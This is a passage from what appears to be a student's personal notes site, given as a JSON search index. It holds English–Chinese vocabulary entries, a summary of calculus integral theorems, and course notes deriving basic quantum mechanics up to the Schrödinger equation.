something from one place to another.</p> <p>'convey'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5c06\u67d0\u7269\u4ece\u4e00\u4e2a\u5730\u65b9\u8fd0\u8f93\u6216\u4f20\u9001\u5230\u53e6\u4e00\u4e2a\u5730\u65b9\u3002</p> <p>conveyance \u8fd0\u8f93, \u4f20\u9001, \u8868\u8fbe</p> <p>conveyor \u4f20\u9001\u5e26, \u8fd0\u8f93\u673a</p> <p>conveyer \u4f20\u9001\u8005, \u4f20\u64ad\u8005</p> <p>enlightened</p> <ul> <li>adj.<ul> <li>\u5f00\u660e\u7684, \u6709\u89c1\u8bc6\u7684</li> <li>\u53d7\u542f\u53d1\u7684, \u542f\u8499\u7684</li> </ul> </li> </ul> <p>Eg</p> <p>The leader was known for his enlightened views on social issues.</p> <p>\u8fd9\u4f4d\u9886\u5bfc\u56e0\u5176\u5728\u793e\u4f1a\u95ee\u9898\u4e0a\u7684\u5f00\u660e\u89c2\u70b9\u800c\u95fb\u540d\u3002</p> <p>The term 'enlightened' can also refer to someone who has been given greater knowledge and understanding about a subject or situation.</p> <p>'enlightened'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5728\u67d0\u4e2a\u4e3b\u9898\u6216\u60c5\u51b5\u4e0b\u83b7\u5f97\u66f4\u591a\u77e5\u8bc6\u548c\u7406\u89e3\u7684\u4eba\u3002</p> <p>enlighten \u542f\u53d1, \u542f\u8499</p> <p>enlightenment \u542f\u8499, \u542f\u53d1</p> <p>dictate</p> <ul> <li>v.<ul> <li>\u53e3\u8ff0, \u542c\u5199</li> <li>\u547d\u4ee4, \u6307\u793a</li> <li>\u652f\u914d, \u51b3\u5b9a</li> </ul> </li> </ul> <p>Eg</p> <p>She dictated the letter to her assistant.</p> <p>\u5979\u5411\u52a9\u7406\u53e3\u8ff0\u4e86\u8fd9\u5c01\u4fe1\u3002</p> <p>The manager dictated the terms of the agreement.</p> <p>\u7ecf\u7406\u89c4\u5b9a\u4e86\u534f\u8bae\u7684\u6761\u6b3e\u3002</p> <p>The term 'dictate' can also refer to determining or influencing something.</p> <p>'dictate'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u51b3\u5b9a\u6216\u5f71\u54cd\u67d0\u4e8b\u3002</p> <p>dictation \u542c\u5199, \u53e3\u8ff0</p> <p>dictator \u72ec\u88c1\u8005, \u4e13\u5236\u8005</p> <p>dictatorial \u72ec\u88c1\u7684, \u4e13\u5236\u7684</p> <p>estimate</p> <ul> <li> <p>n.</p> <ul> <li>\u4f30\u8ba1, \u4f30\u7b97</li> <li>\u8bc4\u4f30, \u8bc4\u4ef7</li> <li>\u62a5\u4ef7, \u9884\u7b97</li> </ul> </li> <li> <p>v.</p> <ul> <li>\u4f30\u8ba1, \u4f30\u7b97</li> <li>\u8bc4\u4f30, \u8bc4\u4ef7</li> </ul> </li> </ul> <p>Eg</p> <p>The engineer provided an estimate for the cost of the project.</p> <p>\u5de5\u7a0b\u5e08\u63d0\u4f9b\u4e86\u9879\u76ee\u6210\u672c\u7684\u4f30\u7b97\u3002</p> <p>It is difficult to estimate the exact number of people affected.</p> <p>\u5f88\u96be\u51c6\u786e\u4f30\u8ba1\u53d7\u5f71\u54cd\u7684\u4eba\u6570\u3002</p> <p>The term 'estimate' can also refer to forming an approximate judgment or opinion regarding the value, amount, size, or weight of something.</p> <p>'estimate'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5bf9\u67d0\u7269\u7684\u4ef7\u503c\u3001\u6570\u91cf\u3001\u5927\u5c0f\u6216\u91cd\u91cf\u5f62\u6210\u5927\u81f4\u7684\u5224\u65ad\u6216\u610f\u89c1\u3002</p> <p>estimation \u4f30\u8ba1, \u8bc4\u4ef7</p> <p>estimated \u4f30\u8ba1\u7684, \u9884\u8ba1\u7684</p>"},{"location":"NOTE/MA/","title":"\u6570\u5b66\u5206\u6790\u4e00\uff0c\u4e8c\u7684\u4e2a\u4eba\u624b\u5199\u7b14\u8bb0","text":"<p> \u7ea6 392 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 1 \u5206\u949f</p> \u6570\u5b66\u5206\u6790\uff08\u7532\uff09\u2160\uff08H\uff09\u7b14\u8bb0 <p> \u67e5\u770b</p> <p>\u5404\u7c7b\u79ef\u5206\u7684\u603b\u7ed3</p> <ul> <li>\u5b9a\u4e49\u5728\u6574\u4e2a\u7a7a\u95f4\u4e0a\u7684\u79ef\u5206</li> <li>\u5b9a\u79ef\u5206</li> <li>\u53cc\u91cd\u79ef\u5206</li> <li>\u4e09\u91cd\u79ef\u5206</li> <li>\u5b9a\u4e49\u5728\u66f2\u7ebf\u4e0a\u7684\u79ef\u5206</li> <li>\u66f2\u7ebf\u79ef\u5206<ul> <li>\u7b2c\u4e00\u7c7b\u66f2\u7ebf\u79ef\u5206\uff0c\u8ba1\u7b97\u53ef\u4ee5\u4f7f\u7528\u53c2\u6570\u65b9\u7a0b\uff0c\u5c06\u66f2\u7ebf\u5fae\u5206\u8868\u793a\u51fa\u6765\u5373\u53ef</li> <li>\u7b2c\u4e8c\u7c7b\u66f2\u7ebf\u79ef\u5206\uff0c\u8ba1\u7b97\u53ef\u4ee5\u4f7f\u7528\u53c2\u6570\u65b9\u7a0b\uff0c\u5c06\u66f2\u7ebf\u5fae\u5206\u8868\u793a\u51fa\u6765\uff0c\u4f46\u662f\u8981\u6839\u636e\u65b9\u5411\u6765\u786e\u5b9a\u79ef\u5206\u4e0a\u4e0b\u9650\uff1b\u4e5f\u53ef\u4ee5\u4f7f\u7528Green\u516c\u5f0f\u548cStokes\u516c\u5f0f\uff0c\u5c06\u8fb9\u754c\u66f2\u7ebf\u79ef\u5206\u8f6c\u5316\u4e3a\u6240\u56f4\u6210\u66f2\u9762\u4e0a\u7684\u7b2c\u4e00\u7c7b\u9762\u79ef\u5206</li> </ul> </li> <li>\u66f2\u9762\u79ef\u5206<ul> <li>\u7b2c\u4e00\u7c7b\u66f2\u9762\u79ef\u5206\uff0c\u8ba1\u7b97\u53ef\u4ee5\u901a\u8fc7\u6295\u5f71,\u901a\u8fc7\u8ba1\u7b97\u6cd5\u5411\u91cf\u6765\u8ba1\u7b97\u6295\u5f71\u89d2\uff1b\u4ece\u800c\u5c06\u66f2\u9762\u79ef\u5206\u8f6c\u5316\u4e3a\u4e8c\u91cd\u79ef\u5206</li> <li>\u7b2c\u4e8c\u7c7b\u66f2\u9762\u79ef\u5206\uff0c\u8ba1\u7b97\u53ef\u4ee5\u901a\u8fc7\u6295\u5f71,\u901a\u8fc7\u8ba1\u7b97\u6cd5\u5411\u91cf\u6765\u8ba1\u7b97\u6295\u5f71\u89d2\uff1b\u4ece\u800c\u5c06\u66f2\u9762\u79ef\u5206\u8f6c\u5316\u4e3a\u4e8c\u91cd\u79ef\u5206\uff0c\u5728\u8fd9\u4e2a\u57fa\u7840\u4e4b\u4e0a\u591a\u4e86\u4e00\u6b65\u5b9a\u5411\u5373 \u4e00\u6295\uff0c\u4e8c\u4ee3\uff0c\u4e09\u5b9a\u5411 \uff1b\u4e5f\u53ef\u4ee5\u4f7f\u7528Gauss\u516c\u5f0f\uff0c\u5c06\u66f2\u9762\u79ef\u5206\u8f6c\u5316\u4e3a\u6240\u56f4\u6210\u4f53\u79ef\u4e0a\u7684\u4f53\u79ef\u5206</li> </ul> </li> </ul> <p>Gauss,Green,Stokes\u516c\u5f0f</p> <ul> <li>Gauss\u516c\u5f0f\uff1a\\(\\iint_S \\vec{F}\\cdot d\\vec{S} = \\iiint_V \\nabla \\cdot \\vec{F}dV\\)</li> <li>Green\u516c\u5f0f\uff1a\\(\\oint_C Pdx + Qdy = \\iint_D (\\frac{\\partial Q}{\\partial x} - \\frac{\\partial P}{\\partial y})dxdy\\)</li> <li>Stokes\u516c\u5f0f\uff1a\\(\\oint_C \\vec{F}\\cdot d\\vec{r} = \\iint_S \\nabla \\times \\vec{F}\\cdot d\\vec{S}\\) \u5b9e\u9645\u4e0aGreen\u516c\u5f0f\u662fStokes\u516c\u5f0f\u5728\u4e8c\u7ef4\u5e73\u9762\u4e0a\u7684\u4e00\u4e2a\u7279\u4f8b</li> </ul>"},{"location":"NOTE/Physics/","title":"\u666e\u901a\u7269\u7406\u5b66\u4e8c(H)","text":"<p> \u7ea6 95 \u4e2a\u5b57 </p> <p>\u6388\u8bfe\u6559\u5e08\uff1a\u65b9\u660e\u864e</p> <p>\u4e00\u4f4d\u79d1\u7814\u548c\u6559\u5b66\u6c34\u5e73\u90fd\u5f88\u9ad8\u7684\u8001\u5e08\uff01\u8bb2\u8bfe\u5145\u6ee1\u6fc0\u60c5\uff0c\u53ef\u4ee5\u5728\u8bfe\u5802\u4e0a\u4e86\u89e3\u5230\u6240\u5b66\u77e5\u8bc6\u4e0e\u524d\u6cbf\u79d1\u5b66\uff0c\u5b9e\u9645\u751f\u6d3b\u7684\u8054\u7cfb\uff0c\u6839\u672c\u4e0d\u4f1a\u72af\u56f0\uff0c\u4f53\u9a8c\u6781\u4f73</p>"},{"location":"NOTE/Physics/#_1","title":"\u76ee\u5f55","text":"<ul> <li>\u9759\u7535\u5b66</li> <li>\u6052\u5b9a\u78c1\u5b66</li> <li>\u7535\u52a8\u529b\u5b66</li> <li>\u9ea6\u514b\u65af\u97e6\u65b9\u7a0b</li> <li>\u5149\u5b66</li> <li>\u91cf\u5b50\u529b\u5b66</li> </ul>"},{"location":"NOTE/Physics/Quantum/","title":"\u91cf\u5b50\u529b\u5b66","text":"<p> \u7ea6 1936 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 7 \u5206\u949f</p> <p>\u666e\u7269\u7684\u6700\u540e\u4e00\u821e\uff0c\u52a0\u6cb9\uff01\ud83d\udcaa</p>"},{"location":"NOTE/Physics/Quantum/#the-nature-of-light","title":"The nature of light(\u5149\u7684\u672c\u8d28)","text":"<p>\u9ed1\u4f53\u8f90\u5c04</p> <p>\u9ed1\u4f53\u8f90\u5c04\u662f\u6307\u4e00\u79cd\u7406\u60f3\u5316\u7684\u7269\u4f53\uff08\u79f0\u4e3a\u9ed1\u4f53\uff09\u5728\u70ed\u5e73\u8861\u72b6\u6001\u4e0b\u53d1\u51fa\u7684\u7535\u78c1\u8f90\u5c04\u3002\u9ed1\u4f53\u80fd\u591f\u5438\u6536\u6240\u6709\u5165\u5c04\u7684\u7535\u78c1\u8f90\u5c04\uff0c\u800c\u4e0d\u53cd\u5c04\u6216\u900f\u5c04\u4efb\u4f55\u8f90\u5c04</p> <p>\u666e\u6717\u514b\u8f90\u5c04\u5b9a\u5f8b</p> \\[      R(\\lambda, T) = \\frac{2\\pi hc^2}{\\lambda^5} \\frac{1}{e^{\\frac{hc}{\\lambda kT}} - 1}  \\] <p>\\( h = 6.63 \\times 10^{-34} \\, \\text{J} \\cdot \\text{s} \\)</p> <p>\u5e38\u89c1\u7684\u7684\u8868\u8fbe\u6709\u666e\u6717\u514b\u5e38\u6570\\(h\\) \u548c \u7ea6\u5316\u666e\u6717\u514b\u5e38\u6570\\(\\hbar = \\frac{h}{2\\pi}\\)</p>"},{"location":"NOTE/Physics/Quantum/#_2","title":"\u5149\u5b50\u7684\u6027\u8d28","text":"<p>\u5149\u5177\u6709\u6ce2\u7c92\u4e8c\u8c61\u6027\uff0c\u5149\u5b50\u5177\u6709\u80fd\u91cf\u548c\u52a8\u91cf\u3002</p> <ul> <li> <p>\u6ce2\uff1a \\(\\bold{E}=E_m \\cos(kx-\\omega t)\\),\u6216\u8005\\(\\bold{E}=E_e e^{i(kx-\\omega t)}\\)</p> <ul> <li>\\(k\\) \u6ce2\u6570\uff0c\\(k = \\frac{2\\pi}{\\lambda}\\)</li> <li>\\(\\omega\\) \u89d2\u9891\u7387\uff0c\\(\\omega = \\frac{2\\pi}{T}\\)</li> <li>\\(T\\) \u5468\u671f\uff0c\\(T = \\frac{1}{f}\\)</li> <li>\\(f\\) \u9891\u7387\uff0c\\(f = \\frac{\\omega}{2\\pi}\\)</li> </ul> </li> <li> <p>\u7c92\u5b50\uff1a \\(E=h\\nu=h\\dfrac{\\omega}{2\\pi}=\\hbar\\omega\\),\u540c\u65f6\u80fd\u91cf\u548c\u52a8\u91cf\u6ee1\u8db3\u5173\u7cfb\\(E=mc^2=pc\\)</p> <ul> <li>\u52a8\u91cf\\(p=\\dfrac{E}{c}=\\dfrac{h\\nu}{c}=\\dfrac{h \\nu}{\\nu \\lambda}=\\dfrac{h}{\\lambda}=\\dfrac{h}{\\frac{2\\pi}{k}}=\\dfrac{h}{2\\pi}k=\\hbar k\\)</li> </ul> </li> </ul> <p>\u5149\u7535\u6548\u5e94</p> <p>\u5149\u7535\u6548\u5e94\u662f\u6307\u5f53\u5149\u7167\u5c04\u5230\u67d0\u79cd\u6750\u6599\uff08\u901a\u5e38\u662f\u91d1\u5c5e\uff09\u8868\u9762\u65f6\uff0c\u4f1a\u5bfc\u81f4\u6750\u6599\u8868\u9762\u91ca\u653e\u51fa\u7535\u5b50\u7684\u73b0\u8c61\u3002\u8fd9\u4e00\u6548\u5e94\u662f\u7531\u7231\u56e0\u65af\u5766\u57281905\u5e74\u89e3\u91ca\u7684\uff0c\u4ed6\u63d0\u51fa\u5149\u5b50\u5177\u6709\u7c92\u5b50\u6027\u8d28\uff0c\u5e76\u4e14\u6bcf\u4e2a\u5149\u5b50\u7684\u80fd\u91cf\u4e0e\u5176\u9891\u7387\u6210\u6b63\u6bd4\u3002\u5149\u7535\u6548\u5e94\u7684\u5173\u952e\u7279\u5f81\u5305\u62ec\uff1a</p> <ol> <li> <p>\u9608\u503c\u9891\u7387\uff1a\u53ea\u6709\u5f53\u5165\u5c04\u5149\u7684\u9891\u7387\u9ad8\u4e8e\u67d0\u4e2a\u7279\u5b9a\u503c\uff08\u9608\u503c\u9891\u7387\uff09\u65f6\uff0c\u624d\u4f1a\u53d1\u751f\u5149\u7535\u6548\u5e94\u3002\u8fd9\u662f\u56e0\u4e3a\u5149\u5b50\u7684\u80fd\u91cf\u5fc5\u987b\u5927\u4e8e\u6750\u6599\u4e2d\u7535\u5b50\u7684\u9038\u51fa\u529f\uff08\u5373\u5c06\u7535\u5b50\u4ece\u6750\u6599\u4e2d\u91ca\u653e\u6240\u9700\u7684\u6700\u5c0f\u80fd\u91cf\uff09\u3002</p> </li> <li> <p>\u5149\u5b50\u80fd\u91cf\u4e0e\u7535\u5b50\u52a8\u80fd\uff1a\u5165\u5c04\u5149\u5b50\u7684\u80fd\u91cf\u4e00\u90e8\u5206\u7528\u4e8e\u514b\u670d\u6750\u6599\u7684\u9038\u51fa\u529f\uff0c\u5269\u4f59\u7684\u80fd\u91cf\u8f6c\u5316\u4e3a\u7535\u5b50\u7684\u52a8\u80fd\u3002\u516c\u5f0f\u4e3a\uff1a</p> </li> </ol> \\[    E_{\\text{\u5149\u5b50}} = h\\nu = W + \\frac{1}{2}mv^2 \\] <p>\u5176\u4e2d\uff0c\\( h \\) \u662f\u666e\u6717\u514b\u5e38\u6570\uff0c\\( \\nu \\) \u662f\u5149\u7684\u9891\u7387\uff0c\\( W \\) \u662f\u9038\u51fa\u529f\uff0c\\( m \\) \u662f\u7535\u5b50\u7684\u8d28\u91cf\uff0c\\( v \\) \u662f\u7535\u5b50\u7684\u901f\u5ea6\u3002</p> <ol> <li>\u5149\u5f3a\u5ea6\u4e0e\u7535\u5b50\u6570\u91cf\uff1a\u589e\u52a0\u5165\u5c04\u5149\u7684\u5f3a\u5ea6\uff08\u5373\u5149\u5b50\u6570\u91cf\uff09\u4f1a\u589e\u52a0\u91ca\u653e\u7684\u7535\u5b50\u6570\u91cf\uff0c\u4f46\u4e0d\u4f1a\u5f71\u54cd\u7535\u5b50\u7684\u6700\u5927\u52a8\u80fd\u3002</li> </ol> <p>\u5149\u7535\u6548\u5e94\u7684\u53d1\u73b0\u548c\u89e3\u91ca\u4e3a\u91cf\u5b50\u529b\u5b66\u7684\u53d1\u5c55\u5960\u5b9a\u4e86\u57fa\u7840\uff0c\u5e76\u4e14\u4e3a\u5149\u7684\u7c92\u5b50\u6027\u63d0\u4f9b\u4e86\u91cd\u8981\u7684\u8bc1\u636e\u3002</p>"},{"location":"NOTE/Physics/Quantum/#matter-wave","title":"Matter Wave(\u7269\u8d28\u6ce2)","text":"<p>\ud83d\udc05:\u795e\u4eba\u5fb7\u5e03\u7f57\u610f</p> <p>\u7269\u8d28\u6ce2\u662f\u5fb7\u5e03\u7f57\u610f\u57281924\u5e74\u63d0\u51fa\u7684\u4e00\u4e2a\u6982\u5ff5\uff0c\u4ed6\u8ba4\u4e3a\u4efb\u4f55\u7269\u8d28\u90fd\u5177\u6709\u6ce2\u52a8\u6027\uff0c\u4f46\u662f\u5728\u63d0\u51fa\u8fd9\u4e00\u6982\u5ff5\u4e4b\u524d\uff0c\u4ed6\u5e76\u6ca1\u6709\u7cfb\u7edf\u7684\u5b66\u8fc7\u7269\u7406\uff1b</p> <p>\u5bf9\u4e8e\u5b8f\u89c2\u4e16\u754c\u901f\u5ea6\u4e3a\\(v\\),\u8d28\u91cf\u4e3a\\(m\\)\u7684\u7c92\u5b50</p> <ul> <li>\u52a8\u91cf\\(p=mv\\)</li> <li>\u52a8\u80fd\\(E_k=\\frac{1}{2}mv^2\\)</li> </ul> <p>\u5176\u6ce2\u6027\u8d28\u4e3a</p> <ul> <li>\\(E = h\\nu=\\hbar\\omega\\)</li> <li>\\(p = h/\\lambda=\\hbar k\\)</li> </ul> <p>\u5176\u6ce2\u957f\u4e3a</p> <ul> <li>\\(\\lambda = \\dfrac{h}{p}=\\dfrac{h}{mv}=\\dfrac{h}{\\sqrt{2mE_k}}\\)</li> </ul> <p>\u5176\u6ee1\u8db3\u8fd9\u6837\u4e00\u4e2a\u6ce2\u51fd\u6570</p> \\[ \\Psi=\\psi(x,t)=Ae^{i(kx-\\omega t)}=Ae^{\\frac{i}{\\hbar}(px-Et)} \\]"},{"location":"NOTE/Physics/Quantum/#_3","title":"\u6ce2\u51fd\u6570\u7684\u7269\u7406\u89e3\u91ca","text":"<p>\u7269\u8d28\u6ce2\u662f\u4e00\u79cd\u6982\u7387\u6ce2</p> <p>The product \\(\\Psi^*\\Psi\\) gives the probability that the particle in question will be found between positions \\(x\\) and \\(x+dx\\). </p> <p>\u5373</p> <p>\u6ce2\u51fd\u6570\u7684\u5e73\u65b9\u6a21 \\(\\Psi^*\\Psi\\) \u8868\u793a\u7c92\u5b50\u5728\u4f4d\u7f6e \\(x\\) \u5230 \\(x+dx\\) \u4e4b\u95f4\u88ab\u627e\u5230\u7684\u6982\u7387\u3002 \u516c\u5f0f\u4e3a\uff1a</p> \\[ \\text{Probability} = \\Psi^*\\Psi \\, dx \\] <p>\u5176\u4e2d\uff0c\\(\\Psi^*\\) \u662f\u6ce2\u51fd\u6570\u7684\u590d\u5171\u8f6d\uff0c\\(dx\\) \u662f\u4f4d\u7f6e\u7684\u5fae\u5c0f\u53d8\u5316\u91cf\u3002</p> <p>\u5c06\u51e0\u7387\u5bc6\u5ea6\u5b9a\u4e49\u4e3a</p> \\[ P(x) = \\Psi^*\\Psi \\] <p>\u82e5\u8981\u6c42\u7c92\u5b50\u5728\\(x_1\\)\u5230\\(x_2\\)\u4e4b\u95f4\u88ab\u627e\u5230\u7684\u6982\u7387\uff0c\u5219</p> \\[ P(x_1,x_2) = \\int_{x_1}^{x_2} P(x) \\, dx \\] <p>\u540c\u65f6\u5176\u6ee1\u8db3\u5f52\u4e00\u5316</p> \\[ \\int_{-\\infty}^{+\\infty} \\Psi^*\\Psi \\, dx = 1 \\] <p>\u5bf9\u4e8e\u81ea\u7531\u7c92\u5b50\u800c\u8a00</p> \\[ P(x) = \\left[ \\psi_0 e^{i(kx - \\omega t)} \\right] \\left[ \\psi_0^* e^{-i(kx - \\omega t)} \\right] = |\\psi_0|^2 \\] <p>\u662f\u4e00\u4e2a\u5f88\u5c0f\u7684\u5e38\u91cf</p>"},{"location":"NOTE/Physics/Quantum/#_4","title":"\u7b97\u7b26\u5b9a\u4e49","text":""},{"location":"NOTE/Physics/Quantum/#_5","title":"\u671f\u671b\u7b97\u7b26","text":"<p>\u4e00\u4e2a\u7c92\u5b50\u7684\u671f\u671b\u4f4d\u7f6e</p> \\[ \\bar{x} = \\frac{\\int_{-\\infty}^{+\\infty} x \\Psi^* \\Psi \\, dx}{\\int_{-\\infty}^{+\\infty} \\Psi^* \\Psi \\, dx} = \\frac{\\int_{-\\infty}^{+\\infty} \\Psi^* x \\Psi \\, dx}{\\int_{-\\infty}^{+\\infty} \\Psi^* \\Psi \\, dx} = \\int_{-\\infty}^{+\\infty} \\Psi^* x \\Psi \\, dx = \\langle \\psi | x | \\psi \\rangle = \\langle |x|\\rangle, \\] <p>\u4e24\u4e2a\u89d2\u4ee3\u8868\u88ab\\(\\Psi^*\\) \u548c \\(\\Psi\\) \u5939\u4f4f\u505a\u79ef\u5206</p> <p>\u5982\u679c\u6c42\u5176\u5b83\u91cf\u4f8b\u5982\u52bf\u80fd\u7684\u671f\u671b\u503c\u4e5f\u662f\u7c7b\u4f3c\u7684,\u4f8b\u5982\\(\\langle \\psi |U(x)|\\psi \\rangle\\)</p>"},{"location":"NOTE/Physics/Quantum/#momentum-operator","title":"\u52a8\u91cf\u7b97\u7b26(momentum operator)","text":"<p>\u5bf9\u4e8e\\(\\Psi = \\psi_0 e^{i(kx-\\omega t)}\\)</p> <p>\u5bf9 \\(x\\) \u6c42\u5bfc\u6570</p> \\[ \\frac{\\partial \\Psi}{\\partial x} = ik\\psi_0 e^{i(kx-\\omega t)} \\] \\[ -i\\hbar \\frac{\\partial \\Psi}{\\partial x} = (-i\\hbar) ik \\psi_0 e^{i(kx-\\omega t)} = \\hbar k \\psi_0 e^{i(kx-\\omega t)} \\] <p>\u800c\\(\\hbar k\\) \u5c31\u662f\u52a8\u91cf\\(p\\)</p> <p>\u6240\u4ee5</p> \\[ -i\\hbar \\frac{\\partial \\Psi}{\\partial x} = p \\Psi \\] <p> \u52a8\u91cf\u7b97\u7b26\u4e3a $ p= -i\\hbar \\frac{\\partial}{\\partial x}$</p> <p>\u7528\u52a8\u91cf\u7b97\u7b26\u6c42\u52a8\u91cf</p> \\[ \\begin{align*} \\therefore \\bar{p} &amp;= \\int_{-\\infty}^{+\\infty} \\Psi^* \\left( -i\\hbar \\frac{\\partial}{\\partial x} \\right) \\Psi \\, dx \\\\ &amp;= \\int_{-\\infty}^{+\\infty} \\Psi^* \\left( -i\\hbar \\frac{\\partial}{\\partial x} \\right) \\psi_0 e^{i(kx-\\omega t)} \\, dx \\\\ &amp;= \\int_{-\\infty}^{+\\infty} \\Psi^* (-i\\hbar) ik \\psi_0 e^{i(kx-\\omega t)} \\, dx \\\\ &amp;= \\hbar k \\int_{-\\infty}^{+\\infty} \\Psi^* \\psi_0 e^{i(kx-\\omega t)} \\, dx \\\\ &amp;= \\hbar k \\int_{-\\infty}^{+\\infty} \\Psi^* \\Psi \\, dx \\\\ &amp;= \\hbar k \\end{align*} \\]"},{"location":"NOTE/Physics/Quantum/#energy-operator","title":"\u80fd\u91cf\u7b97\u7b26(Energy operator)","text":"\\[ \\frac{\\partial \\Psi}{\\partial t} = -i\\omega \\psi_0 e^{i(kx-\\omega t)} \\] \\[ i\\hbar \\frac{\\partial \\Psi}{\\partial t} = (i\\hbar)(-i\\omega)\\psi_0 e^{i(kx-\\omega t)} = \\hbar \\omega \\psi_0 e^{i(kx-\\omega t)} = E\\Psi \\] <p> \u80fd\u91cf\u7b97\u7b26\u4e3a \\(E = i\\hbar \\frac{\\partial}{\\partial t}\\) </p> <p>\u7528\u80fd\u91cf\u7b97\u7b26\u6c42\u80fd\u91cf</p> \\[ \\begin{align*} \\therefore \\bar{E} &amp;= \\int_{-\\infty}^{+\\infty} \\Psi^* \\left( i\\hbar \\frac{\\partial}{\\partial t} \\right) \\Psi \\, dx \\\\ &amp;= \\int_{-\\infty}^{+\\infty} \\Psi^* \\left( i\\hbar \\frac{\\partial}{\\partial t} \\right) \\psi_0 e^{i(kx-\\omega t)} \\, dx \\\\ &amp;= \\int_{-\\infty}^{+\\infty} \\Psi^* (i\\hbar)(-i\\omega) \\psi_0 e^{i(kx-\\omega t)} \\, dx \\\\ &amp;= \\hbar \\omega \\int_{-\\infty}^{+\\infty} \\Psi^* \\psi_0 e^{i(kx-\\omega t)} \\, dx \\\\ &amp;= \\hbar \\omega \\int_{-\\infty}^{+\\infty} \\Psi^* \\Psi \\, dx \\\\ &amp;= \\hbar \\omega \\end{align*} \\]"},{"location":"NOTE/Physics/Quantum/#_6","title":"\u859b\u5b9a\u8c14\u65b9\u7a0b","text":"<p>\u5bf9\u4e8e\u4e00\u4e2a\u7c92\u5b50\u7684\u603b\u80fd\u91cf\uff0c\u6709\u52bf\u80fd\u548c\u52a8\u80fd</p> \\[ E = U + \\frac{p^2}{2m} \\] <p>\u4e24\u8fb9\u540c\u65f6\u4e58\u4ee5\u6ce2\u51fd\u6570\\(\\Psi\\)</p> \\[ E\\Psi = U\\Psi + \\frac{p^2}{2m}\\Psi \\] <p>\u5c06\\(E\\) \u548c \\(p\\) \u7528\u7b97\u7b26\u8868\u793a</p> \\[ E\\Psi = \\frac{p^2}{2m} \\Psi + U\\Psi \\] \\[ i\\hbar \\frac{\\partial}{\\partial t} \\Psi = \\frac{1}{2m} (-i\\hbar \\frac{\\partial}{\\partial x})(-i\\hbar \\frac{\\partial}{\\partial x}) \\Psi + U\\Psi \\] \\[ i\\hbar \\frac{\\partial}{\\partial t} \\Psi = -\\frac{\\hbar^2}{2m} \\frac{\\partial^2}{\\partial x^2} \\Psi + U\\Psi \\] <p>\u79f0\u5176\u4e3a\u4e00\u7ef4\u542b\u65f6\u859b\u5b9a\u8c14\u65b9\u7a0b</p> <p>\u7b80\u5199\u4e3a</p> \\[ i\\hbar \\frac{\\partial}{\\partial t} \\Psi = \\hat{H} \\Psi \\] <p>\u5176\u4e2d\\(\\hat{H}\\) \u4e3a\u54c8\u5bc6\u987f\u7b97\u7b26,\u4e5f\u662f\u80fd\u91cf\u7b97\u7b26</p> <ul> <li>\u4e00\u7ef4 \\(\\hat{H} = -\\frac{\\hbar^2}{2m} \\frac{\\partial^2}{\\partial x^2} + U(x,t)\\)</li> <li>\u4e09\u7ef4 \\(\\hat{H} = -\\frac{\\hbar^2}{2m} \\nabla^2 + U(x,y,z,t)\\)</li> </ul>"},{"location":"NOTE/Physics/Quantum/#_7","title":"\u5b9a\u6001\u859b\u5b9a\u8c14\u65b9\u7a0b","text":"<p>\u5982\u679c\u8bf4\u52bf\u80fd\\(U\\) \u4e0d\u968f\u65f6\u95f4\u53d8\u5316\uff0c\u5219\u6ce2\u51fd\u6570\u53ef\u4ee5\u5199\u6210</p> \\[ \\Psi(x,t) = \\psi(x) e^{-i\\omega t} = \\psi  e^{-i\\omega t} \\] \\[ i\\hbar \\frac{\\partial}{\\partial t} \\Psi = -\\frac{\\hbar^2}{2m} \\frac{\\partial^2}{\\partial x^2} \\Psi + U\\Psi \\] \\[ i\\hbar \\frac{\\partial}{\\partial t} (\\psi e^{-i\\omega t}) = -\\frac{\\hbar^2}{2m} \\frac{\\partial^2}{\\partial x^2} (\\psi e^{-i\\omega t}) + U\\psi e^{-i\\omega t} \\] \\[ (-i\\omega) i\\hbar \\psi e^{-i\\omega t} = -\\frac{\\hbar^2}{2m} \\frac{d^2 \\psi}{dx^2} e^{-i\\omega t} + U\\psi e^{-i\\omega t} \\] <p>\u542b\\(t\\)\u7684\u9879\u6d88\u53bb\uff0c\u5f97\u5230</p> \\[ \\hbar \\omega \\psi = -\\frac{\\hbar^2}{2m} \\frac{d^2 \\psi}{dx^2} + U\\psi \\] <p>\u518d\u8fd0\u7528\\(E = \\hbar \\omega\\) </p> \\[ E\\psi(x) = -\\frac{\\hbar^2}{2m} \\frac{d^2 \\psi(x)}{dx^2} + U\\psi(x) \\] <p>\u79f0\u5176\u4e3a\u4e00\u7ef4\u5b9a\u6001\u859b\u5b9a\u8c14\u65b9\u7a0b</p> <p>\u53ef\u4ee5\u5316\u4e3a</p> \\[     \\frac{d^2 \\psi(x)}{dx^2} + \\frac{2m}{\\hbar^2}(E - U)\\psi(x) = 0 \\] <p>\u5176\u5b83\u5b9a\u4e49</p> <p>\u864e\u54e5\u53ea\u63d0\u4e86\u4e00\u4e0b\uff0c\u90a3\u6211\u4e5f\u53ea\u8bb0\u4e00\u4e0b</p> <ul> <li>\u52bf\u5792\u96a7\u9053\uff08barrier tunneling\uff09</li> </ul> <p>\u52bf\u5792\u96a7\u9053\u662f\u6307\u5728\u91cf\u5b50\u529b\u5b66\u4e2d\uff0c\u7c92\u5b50\u80fd\u591f\u7a7f\u8fc7\u52bf\u5792\uff08\u52bf\u80fd\uff09\u7684\u91cf\u5b50\u6548\u5e94\u3002\u52bf\u5792\u96a7\u9053\u6548\u5e94\u662f\u91cf\u5b50\u529b\u5b66\u4e2d\u7684\u4e00\u4e2a\u57fa\u672c\u73b0\u8c61\uff0c\u5b83\u63cf\u8ff0\u4e86\u7c92\u5b50\u5728\u52bf\u5792\uff08\u901a\u5e38\u662f\u52bf\u80fd\uff09\u7684\u963b\u6321\u4e0b\u4ecd\u7136\u80fd\u591f\u7a7f\u900f\u7684\u73b0\u8c61\u3002</p> <ul> <li>\u6d4b\u4e0d\u51c6\u539f\u7406\uff08Uncertainty principle\uff09</li> </ul> 